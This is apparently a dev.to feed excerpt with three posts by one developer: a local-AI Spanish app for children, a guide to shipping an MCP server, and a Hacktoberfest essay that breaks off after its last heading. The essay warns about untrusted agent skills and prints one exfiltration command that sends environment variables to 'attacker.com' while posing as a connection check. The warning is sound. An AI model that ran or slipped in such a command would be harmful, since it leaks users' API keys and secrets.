  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/map.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Fmap.png" width="240" alt="Neighborhood map with three shops"&gt;&lt;/a&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/panaderia.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Fpanaderia.png" width="240" alt="Talking to Doña Rosa at the bakery"&gt;&lt;/a&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/reward.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Freward.png" width="240" alt="Mission complete with new stickers"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;🎬 &lt;strong&gt;Demo:&lt;/strong&gt; &lt;a href="https://youtube.com/shorts/pj6c-IQYnVY" rel="nofollow noopener noreferrer"&gt;watch on YouTube&lt;/a&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it plays&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;Three shops, three characters, each a mission with five small goals written in Russian:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;table&gt;

&lt;thead&gt;

&lt;tr&gt;

&lt;th&gt;Shop&lt;/th&gt;

&lt;th&gt;Character&lt;/th&gt;

&lt;th&gt;The child has to…&lt;/th&gt;

&lt;/tr&gt;

&lt;/thead&gt;

&lt;tbody&gt;

&lt;tr&gt;

&lt;td&gt;La panadería&lt;/td&gt;

&lt;td&gt;Doña Rosa&lt;/td&gt;

&lt;td&gt;greet her, ask for three medialunas, add an alfajor, ask the price, say goodbye&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;El kiosco&lt;/td&gt;

&lt;td&gt;Tito&lt;/td&gt;

&lt;td&gt;ask for figuritas, buy candy, ask the price…&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;La heladería&lt;/td&gt;

&lt;td&gt;Mili&lt;/td&gt;

&lt;td&gt;ask which flavors there are, pick a cone or a cup, choose a flavor…&lt;/td&gt;

&lt;/tr&gt;

&lt;/tbody&gt;

&lt;/table&gt;&lt;/div&gt;&lt;br&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;

&lt;li&gt;The child taps the microphone and &lt;strong&gt;speaks Spanish&lt;/strong&gt;.&lt;/li&gt;

&lt;li&gt;…&lt;/li&gt;

&lt;/ol&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yahhi/mi-barrio" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;Three open models, all running locally:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Job&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Runtime&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plays the characters, translates lines into Russian&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Gemma 4 E2B&lt;/strong&gt; (Apache 2.0)&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://pub.dev/packages/flutter_gemma" rel="noopener noreferrer"&gt;flutter_gemma&lt;/a&gt; on LiteRT-LM, phone GPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hears the child&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Whisper small&lt;/strong&gt; (int8)&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/k2-fsa/sherpa-onnx" rel="noopener noreferrer"&gt;sherpa-onnx&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Speaks&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Piper&lt;/strong&gt; &lt;code&gt;es_AR-daniela-high&lt;/code&gt; (Argentine voice), &lt;code&gt;es_MX-ald-medium&lt;/code&gt; for Tito&lt;/td&gt;
&lt;td&gt;sherpa-onnx&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The app is Flutter. On first launch it downloads Gemma (2.6 GB) and Whisper (375 MB) once over Wi‑Fi. The voices ship inside the app.&lt;/p&gt;

&lt;p&gt;One loop drives a conversation: microphone → Whisper writes down what the child said → the goals are checked → Gemma replies in character → Piper says the reply.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The most important decision was what &lt;em&gt;not&lt;/em&gt; to give the language model.&lt;/strong&gt; Gemma does the part only a language model can do: holding a natural, slightly different conversation every time while staying in character. Each character has a short prompt with their personality, their prices, and strict rules: always &lt;em&gt;voseo&lt;/em&gt;, at most two short sentences, simple words for a 9-year-old, never ask for personal information, never correct the child, just answer naturally with the right words.&lt;/p&gt;

&lt;p&gt;Everything that decides whether a child succeeded is plain code. Goals are keyword checks on the transcript, accent-insensitive and tolerant of small misspellings. Stars, hints and stickers are deterministic and covered by unit tests. A child should never lose a star because a model had a bad moment.&lt;/p&gt;

&lt;p&gt;Testing found real problems, and each one became a small fix:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whisper wrote &lt;em&gt;"medielunas"&lt;/em&gt;, so the goal didn't tick. Matching now accepts a near miss on long words.&lt;/li&gt;
&lt;li&gt;Whisper clipped &lt;em&gt;"¿Cuánto es?"&lt;/em&gt; to &lt;em&gt;"¿Cuánt"&lt;/em&gt;. Short recordings now get half a second of silence on each side before transcription.&lt;/li&gt;
&lt;li&gt;Doña Rosa told my test that three medialunas at 500 pesos cost 2,500. Small models are bad at arithmetic, so characters now name the price per item instead of adding up a total.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I built it in one night, pairing with Claude Code as my coding agent. A debug flag replays a scripted conversation end to end, so we could test whole missions on the simulator without anyone talking into the Mac.&lt;/p&gt;

&lt;h3&gt;
  
  
  What happened when my kids played it
&lt;/h3&gt;

&lt;p&gt;It worked. They finished all three missions in about ten minutes and immediately asked &lt;em&gt;"where are the other places?"&lt;/em&gt; On my iPhone 17 Pro Max it runs perfectly. The kids' phone is an older iPhone 12 Pro, and that's the next test.&lt;/p&gt;

&lt;p&gt;What didn't work as well:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;They got lost after the first phrase, and never touched the 💡 button.&lt;/strong&gt; One of them skipped the greeting, didn't know what to say next, and left the shop and came back just to start over. Help was one tap away, but nobody told them it existed. A stuck child doesn't read a goal list or explore icons. The game needs a 30-second onboarding: Copo walks them through the first shop and shows where the hints are. The shopkeeper could also notice a silence and ask an easy question.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One goal didn't tick&lt;/strong&gt; even though my son was sure he said &lt;em&gt;tres medialunas&lt;/em&gt;. Whisper misheard him. The fix is to make what the app heard much more visible, and to let a child tap "I said it" so a recognition error never blocks the game.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every visit is the same mission.&lt;/strong&gt; That's fine for the first time and boring by the third. Next, each visit will change a little: a different number of medialunas, a different item, a shopkeeper who has run out of something.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The voices are clear but not natural.&lt;/strong&gt; Piper is fast, small and free, but it doesn't sound like a real porteña. That's the honest price of running speech locally on a phone.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The real lesson: ship it to the people you love, early
&lt;/h3&gt;

&lt;p&gt;The most interesting part of this experiment wasn't a model. I gave something built in one night, for a couple of percent of my weekly AI subscription limit, to my most important customers: my children.&lt;/p&gt;

&lt;p&gt;If I had decided to make them an app a year ago, I would have planned for weeks and tried to build something solid on the first try. It turned out none of that mattered yet. In ten minutes I learned what I needed to know. They &lt;em&gt;do&lt;/em&gt; try to say the phrases out loud. They want more places. And the help I built, they never found. A rough version in their hands taught me more than a perfect plan would have.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;Because the users are children, and they're talking.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Privacy is built into the design, not a promise.&lt;/strong&gt; A kid's voice, their accent and their mistakes never leave the phone. There's no account to create for a 9-year-old and no recording on someone's server. With a closed speech or chat API, I would be sending my children's voices to a company on every tap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It works anywhere.&lt;/strong&gt; In the car, on a plane, at a grandparent's house with bad Wi‑Fi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Practice is free and unlimited.&lt;/strong&gt; There's no per-minute bill, so I never have to say "that's enough talking for today". For language learning, more talking is exactly the point.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Argentine accent exists because of open data and open models.&lt;/strong&gt; Argentine speakers contributed recordings to an open dataset (OpenSLR 61), a community member trained an &lt;code&gt;es_AR&lt;/code&gt; Piper voice on it, and the sherpa-onnx project packaged it for phones. Commercial voice APIs mostly give you "Spanish". The open ecosystem gave me &lt;em&gt;Argentine Spanish&lt;/em&gt;, and I can swap or fine-tune any piece later, for example a Whisper tuned on children's accented speech, which is exactly what my kids need.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;No partner category this time: the app runs on an iPhone, without Render, TabPFN, Tinker or a Qualcomm device.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The illustrations were generated with an AI image tool for this project. The app itself uses only the open models listed above.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>hf26challenge</category>
      <category>ai</category>
    </item>
    <item>
      <title>How to build an MCP server — and actually get it used</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Mon, 28 Sep 2026 02:54:41 +0000</pubDate>
      <link>https://dev.to/yahhi/how-to-build-an-mcp-server-and-actually-get-it-used-5331</link>
      <guid>https://dev.to/yahhi/how-to-build-an-mcp-server-and-actually-get-it-used-5331</guid>
      <description>&lt;p&gt;The protocol is the easy part. Nobody warns you about the rest.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zkfbpapyzh7pdy10cqv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zkfbpapyzh7pdy10cqv.jpg" alt="A developer stands at a cork board pinned with cards reading auth, privacy, tool names, retention, listings and logging, while a small folded-paper origami angel works at a laptop in the corner" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I shipped a remote MCP server this month. Building the thing that speaks MCP took an afternoon — one route on a backend I already ran, and no new dependency. Everything after it took days, and almost none of it is in the protocol docs.&lt;/p&gt;

&lt;p&gt;This is the whole path in order: the decisions that are cheap, the ones you only get to make once, and the point where most people should stop. Where a step cost me a full day, I've linked the write-up with the exact commands and error messages, so you can skip the part where I was confused.&lt;/p&gt;

&lt;h2&gt;
  
  
  First: are you sure you need a server?
&lt;/h2&gt;

&lt;p&gt;The cheaper alternative is a skill — a file of instructions the user installs, which their agent reads and follows. No hosting, no security surface, and it carries far more nuance than a tool description ever will, because it arrives as prose in the agent's context rather than a one-paragraph summary.&lt;/p&gt;

&lt;p&gt;The honest test is where the work has to happen. If everything your integration needs is already on the user's machine or the public web, and they can do it with their own credentials, write the skill.&lt;/p&gt;

&lt;p&gt;You need a server when the work needs data or a service only you can run; when it has to act &lt;strong&gt;as the user&lt;/strong&gt;, which means sign-in and permissions; when you need to change behaviour for everyone at once without asking anyone to update a file; or when you want to be findable in registries and directories.&lt;/p&gt;

&lt;p&gt;The asymmetry to weigh: a skill is a file; a server is an authorization surface you own for as long as it's up. &lt;strong&gt;If a file would do, write the file.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They aren't exclusive, and the strongest setups use both with a clean division — the server owns the data and the operations, the skill owns the judgment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fphvl3r65ehfl7c9nrz7a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fphvl3r65ehfl7c9nrz7a.png" alt="Agent skill vs MCP server: one question decides it — does the work need data, a service, or an identity that only you can provide?" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: tool names are a one-way door
&lt;/h2&gt;

&lt;p&gt;Directory scorecards reward tool names that read as a navigable tree — a dotted path like &lt;code&gt;stories.search&lt;/code&gt;. My listing scored 98/100, and those were the missing two points.&lt;/p&gt;

&lt;p&gt;Don't take them. OpenAI's function-name pattern is &lt;code&gt;^[a-zA-Z0-9_-]{1,64}$&lt;/code&gt;; dots are rejected outright, and Anthropic's is the same shape. A dotted tool name is refused by the exact clients the listing exists to reach. It's a criterion you should knowingly fail.&lt;/p&gt;

&lt;p&gt;What you &lt;em&gt;can&lt;/em&gt; do is pick a grouping convention up front and apply it without exception, so the structure stays legible with an underscore as the separator. Decide it at planning time and write it down — because the moment a registry has scanned you, a directory has listed you, and a client's app directory has accepted your submission, every published tool name is one you have to keep. Renaming later isn't a refactor, it's a migration across systems you don't control.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: build the server (genuinely the easy part)
&lt;/h2&gt;

&lt;p&gt;An MCP server speaks JSON-RPC. A client asks it to introduce itself, asks for its tool list, then calls tools one at a time. For a server people reach over the internet, use the streamable HTTP transport — one endpoint handles everything.&lt;/p&gt;

&lt;p&gt;Three things that are easy to skip and shouldn't be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Write tool descriptions for an agent, not a human.&lt;/strong&gt; They're the entire basis on which a model decides whether to call you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set the annotations honestly&lt;/strong&gt; — read-only, destructive, open-world. Clients show these before approving a call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Declare an &lt;code&gt;outputSchema&lt;/code&gt; and return &lt;code&gt;structuredContent&lt;/code&gt;&lt;/strong&gt;, so consuming agents can rely on shape instead of parsing prose.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then point the &lt;strong&gt;MCP Inspector&lt;/strong&gt; at your own endpoint before any real client sees it. It's a test client you drive by hand, with no model in the loop — which matters, because when a real client doesn't call your tool you cannot tell from outside whether your description was vague, your schema was malformed, or the server errored. Those are three different bugs that look identical.&lt;/p&gt;

&lt;p&gt;It also runs a schema portability check. Mine flagged that nullable fields written as one type with two entries are legal JSON Schema and silently mishandled by several clients — a defect none of my own tests were looking for, because my tests shared my assumptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: where it lives, and what it costs
&lt;/h2&gt;

&lt;p&gt;An MCP server is a small, bursty HTTP service: idle most of the time, awake when somebody's agent calls. That fits serverless. The default instinct is a new repo, the official SDK and a container; I added a route to the backend I already ran. The entry point is a single branch in the existing request handler, and the endpoint is standard library plus the cloud SDK already in the runtime. &lt;strong&gt;Zero new dependencies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Concrete numbers: marginal compute is pennies a month and free tiers swallow it. Listing in the official MCP Registry is free. Submitting a ChatGPT app is free. The only line item that isn't free is the Claude connector directory, which needs a Team organisation — about $40/month with a two-seat minimum.&lt;/p&gt;

&lt;p&gt;The recurring cost isn't compute. It's that you now run an authorization server, so you own its security; that every client release can surface a new incompatibility; and that without request logging you'll have no idea who calls what.&lt;/p&gt;

&lt;p&gt;Full walkthrough: &lt;a href="https://worklore.dev/s/2026-09-25-an-mcp-server-for-the-price-of-one-more-endpoint" rel="noopener noreferrer"&gt;An MCP server for the price of one more endpoint&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: four problems that are all really sign-in
&lt;/h2&gt;

&lt;p&gt;This is the part I'd most like to have known in advance. Identity doesn't arrive as one task. It arrives four times wearing a different mask, and each one reads as a small detour from what you were actually doing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Acting as a person.&lt;/strong&gt; The moment a tool writes anything, you aren't adding a password field — you're running an OAuth 2.1 authorization server: discovery documents, dynamic client registration, PKCE, a consent screen. Clients register themselves; there's nothing to pre-issue. This is the expensive one. → &lt;a href="https://worklore.dev/s/2026-09-23-an-mcp-server-that-signs-users-in-oauth-2-1-on-aws-lambda-st" rel="noopener noreferrer"&gt;OAuth 2.1 on AWS Lambda, start to token&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deciding what needs no sign-in at all.&lt;/strong&gt; Having built the gate, the easy mistake is putting &lt;em&gt;everything&lt;/em&gt; behind it — including the list of what your server offers. Mine did, and a directory listed me with a name, a description, and no tools, because a registry mirror has nobody to sign in as. The fix was about fifteen lines, and the rule is: expose anonymously exactly what is already public elsewhere, and nothing else. → &lt;a href="https://worklore.dev/s/2026-09-27-my-mcp-server-hid-its-own-tool-list-behind-a-login" rel="noopener noreferrer"&gt;My MCP server hid its own tool list behind a login&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Giving a stranger a way in.&lt;/strong&gt; An app reviewer has to use your server. If your only sign-in is a social provider, there is nothing to hand them, and you'll build a sandboxed account under deadline. → &lt;a href="https://worklore.dev/s/2026-09-23-app-review-wants-test-credentials-but-my-app-only-had-google" rel="noopener noreferrer"&gt;App review wants test credentials&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Having the right token yourself.&lt;/strong&gt; Publishing under an organisation rather than your own name needs a token carrying a scope you probably aren't using, and the error won't tell you that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: instrument it before anyone uses it
&lt;/h2&gt;

&lt;p&gt;An MCP server is one URL. Every call arrives as &lt;code&gt;POST /mcp&lt;/code&gt;, so the access log you get for free is a column of identical lines. Which tool ran, for whom, in what order — none of it is there.&lt;/p&gt;

&lt;p&gt;One structured line per call, emitted in the dispatcher rather than in each handler, fixes it. Trim deliberately: log identifiers and lengths, never the content people send you.&lt;/p&gt;

&lt;p&gt;I added this to a server almost nobody was using, which felt pointless. It immediately caught a client calling a method my server doesn't implement, getting an error, and silently falling back — five times over two days, with nothing visibly broken. None of that is visible in a generic access log or an APM dashboard: MCP-aware logging is something you have to write yourself, and this is the argument for writing it early. → &lt;a href="https://worklore.dev/s/2026-09-23-your-mcp-server-is-one-url-getting-per-tool-per-user-analyti" rel="noopener noreferrer"&gt;Your MCP server is one URL&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: you may already be done
&lt;/h2&gt;

&lt;p&gt;Everything above was building. The server runs, it signs people in, it says what it can do, and you can see who calls it. That is a finished thing, and plenty of good servers stop exactly here.&lt;/p&gt;

&lt;p&gt;What follows is &lt;strong&gt;distribution&lt;/strong&gt;, and it's optional in a way none of the earlier steps were.&lt;/p&gt;

&lt;p&gt;If your users already live in a terminal or an IDE, you're done now. Publish the endpoint and one install line in your README — &lt;code&gt;claude mcp add --transport http &amp;lt;name&amp;gt; &amp;lt;url&amp;gt;&lt;/code&gt;, or the equivalent for their client — and they add it themselves in about ten seconds. No forms, no reviewer, no waiting on anybody. For an internal tool, a team server, or anything with a known audience, this isn't the lesser option. It's the right one.&lt;/p&gt;

&lt;p&gt;Read on only if you want the other thing: to appear inside a client's app directory, where someone who has never heard of you can find you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: the documents, and the one rule
&lt;/h2&gt;

&lt;p&gt;Submitting means writing a pile of prose: a privacy policy, terms, a public documentation URL, a domain-verification file, tool-by-tool justifications, example prompts, and credentials a stranger can sign in with.&lt;/p&gt;

&lt;p&gt;None of it is hard. All of it is slow. And one property matters more than any individual document: &lt;strong&gt;they must describe the server as it runs today.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I learned that by failing. My privacy policy was written when the connector was four read-only tools with no sign-in. By review time it was six tools behind OAuth, two of which write on your behalf. The policy still said "read-only tools" and "no account is required". The rejection was one sentence: the policy does not clearly disclose all data uses, and must reflect current tool inputs and outputs.&lt;/p&gt;

&lt;p&gt;Entirely fair. I'd shipped four significant changes and updated none of the documents describing them. A reviewer reads your prose against your live endpoint — which is something you never do.&lt;/p&gt;

&lt;p&gt;The second thing worth knowing: these documents are &lt;strong&gt;fetched at review time, not uploaded&lt;/strong&gt;. A fix needs no resubmission of anything but the form; a drift needs no negligence, only time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 8: being listed is not being found
&lt;/h2&gt;

&lt;p&gt;Getting into the official registry feels like the finish line. It's a database entry.&lt;/p&gt;

&lt;p&gt;Eight days after publishing there, searching my server's name in every browsable directory returned nothing. But "each one wants its own submission" turned out to be only half right, and the half that's right has a pattern underneath it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scanners want a submission; mirrors don't.&lt;/strong&gt; A directory that connects to your live endpoint, or is human-reviewed, needs you to submit. A directory that reads the official registry needs nothing — the registry already holds what it displays. One tell that you're looking at a mirror: its listing shows your description and URL but &lt;strong&gt;no tools&lt;/strong&gt;. It never connected. → &lt;a href="https://worklore.dev/s/2026-09-23-submitting-an-mcp-server-to-the-directories-one-cli-one-gith" rel="noopener noreferrer"&gt;Submitting an MCP server to the directories&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 9: the only number that tells you whether any of this worked
&lt;/h2&gt;

&lt;p&gt;Every step above has a satisfying finish line. That's exactly what makes them easy to mistake for the goal.&lt;/p&gt;

&lt;p&gt;The real question isn't an engineering question, and no directory will answer it: &lt;strong&gt;has anyone who is not you ever connected?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's what that looked like for my server, from its own request log over 24 hours: 93 protocol calls — connect, list the tools, list the resources, repeat — and exactly one actual tool call, which was mine. Two distinct users, both of them me.&lt;/p&gt;

&lt;p&gt;Connected and used are not the same number, and until you log it you cannot tell them apart.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Decide tool names in the planning doc, not in the code.&lt;/li&gt;
&lt;li&gt;Add request logging in the first deploy, not the fifth.&lt;/li&gt;
&lt;li&gt;Re-read every public document against the live tool list &lt;em&gt;before&lt;/em&gt; submitting, not when I wrote them.&lt;/li&gt;
&lt;li&gt;Ask "is a directory listing what I actually want" before doing the work that a listing requires.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Run this instead of re-typing it
&lt;/h2&gt;

&lt;p&gt;Every write-up linked above carries a machine-readable "Reproduce this" contract — prerequisites, the inputs it needs from you, ordered steps, and a verification section your agent runs to prove it actually worked. You point your agent at it and it does the work in &lt;em&gt;your&lt;/em&gt; project.&lt;/p&gt;

&lt;p&gt;They're collected in build order as a path: &lt;strong&gt;&lt;a href="https://worklore.dev/paths/build-and-ship-your-own-mcp-server" rel="noopener noreferrer"&gt;Build and ship your own MCP server&lt;/a&gt;&lt;/strong&gt;. It's honest about its own state — one step is currently marked a proposal rather than a result, because I've resubmitted after that rejection and the verdict isn't in yet.&lt;/p&gt;

&lt;p&gt;If you're weighing whether an MCP server is the right move at all, or you're stuck on the OAuth step, I do consultations — details at &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore.dev&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>api</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The code was never the point: Hacktoberfest, AI, and the value of the climb</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Tue, 22 Sep 2026 02:35:36 +0000</pubDate>
      <link>https://dev.to/yahhi/the-code-was-never-the-point-hacktoberfest-ai-and-the-value-of-the-climb-3ahd</link>
      <guid>https://dev.to/yahhi/the-code-was-never-the-point-hacktoberfest-ai-and-the-value-of-the-climb-3ahd</guid>
      <description>&lt;p&gt;I have a small drawer of Hacktoberfest T-shirts. Four of them, I think. Every October for years I would carve out a weekend, find a few issues, open my pull requests, and wait for the merges that earned me the shirt. I wore them with real pride. They were proof that I had shown up for open source.&lt;/p&gt;

&lt;h2&gt;
  
  
  The end of the PR count
&lt;/h2&gt;

&lt;p&gt;This year, Hacktoberfest is not counting pull requests.&lt;/p&gt;

&lt;p&gt;The whole thing has moved to hundreds of in-person "Fests" and an online hackathon built around open-source and open-weight AI. Their own wording is what stuck with me: "Instead of counting PRs, you'll write your first skills.md, build your own open-source agent, fine-tune an open-weight model, or go wherever your curiosity takes you." And we all know why. AI made a low-effort pull request trivial to generate, and maintainers drowned in the noise.&lt;/p&gt;

&lt;p&gt;So I sat with an uncomfortable thought. The patches I sent for those shirts — an agent writes that kind of code now in a few seconds. If the code was the deliverable, the deliverable just got cheap. What was the T-shirt ever really for?&lt;/p&gt;

&lt;h2&gt;
  
  
  Walking the terrain, or flying over it
&lt;/h2&gt;

&lt;p&gt;Hacktoberfest's answer is that the thing under the code is still there. The collaboration. The habit of working on something other people actually need. And the learning — we used to learn &lt;em&gt;through&lt;/em&gt; writing code, and now agents help us learn, but the learning was always the point, not the typing.&lt;/p&gt;

&lt;p&gt;I keep coming back to a picture in my head. Learning a language, or a new repository, used to be a route across hard terrain: mountains, lakes, long detours. The difficulty &lt;em&gt;was&lt;/em&gt; the training. It was never about memorizing syntax — it was building a real skill: writing understandable, even beautiful, code in that exact language, with that exact library. You got to know a codebase the way you get to know a landscape — by walking it until it stopped surprising you.&lt;/p&gt;

&lt;p&gt;Now we fly over it. "Tell me about this repository." "Fix this error, and that one." We lift off and land near almost any destination, and skip the climb. There used to be a limit to how many routes I could realistically walk in a month — a handful of repos I could get familiar enough with to actually help. Now I can drop into nearly any of them.&lt;/p&gt;

&lt;p&gt;It is genuinely freeing. But the climb was not only friction. It was where judgment came from — the sense of whether the destination was even the right one, and whether the fix I landed was correct and not just plausible. Flying gives you reach. It does not hand you the judgment; that still has to come from somewhere. This is not an argument against flying. It is just worth being honest that reach and understanding are not the same thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The new bottleneck is trust
&lt;/h2&gt;

&lt;p&gt;Which is where Hacktoberfest's new map gets interesting. The routes now are skills, models, agents. The happy path — you solve a problem, you write it up as a skill (a short set of instructions another agent can follow), you push a repo, and if it is useful, other people's agents pick it up and it spreads. On paper it sounds great: knowledge sharing without the old friction.&lt;/p&gt;

&lt;p&gt;Except there are two difficulties on that map that no agent flies over for you.&lt;/p&gt;

&lt;p&gt;The first is simply being understood. It is older than code — it is the plain human problem of getting someone to see your idea the way you see it. You write a skill because you solved something real. But will the person who needs it ever realize it applies to &lt;em&gt;their&lt;/em&gt; case? And when their agent reads your instructions, will it follow them, or quietly fill the gaps with something you never meant? A skill nobody recognizes as relevant, or that an agent half-invents its way through, helped no one.&lt;/p&gt;

&lt;p&gt;The second is safety, and it is the same worry Hacktoberfest is reacting to, seen from the other side. Spam floods maintainers because AI output is cheap to produce and hard to trust. Now flip it around: you find a skill on the internet and your agent is about to &lt;em&gt;run&lt;/em&gt; it, with your permissions. Picture one that presents itself as a harmless "connection check" and quietly runs &lt;code&gt;curl attacker.com?env=$(env | base64)&lt;/code&gt; — shipping your environment variables, API keys and all, off the machine, while your agent runs it with the same confidence it runs anything else. Is that safe? "It's on GitHub" is not an answer. Unverifiable knowledge coming in and unverifiable code going out are the same trust problem, just flipped around.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part no agent does for you
&lt;/h2&gt;

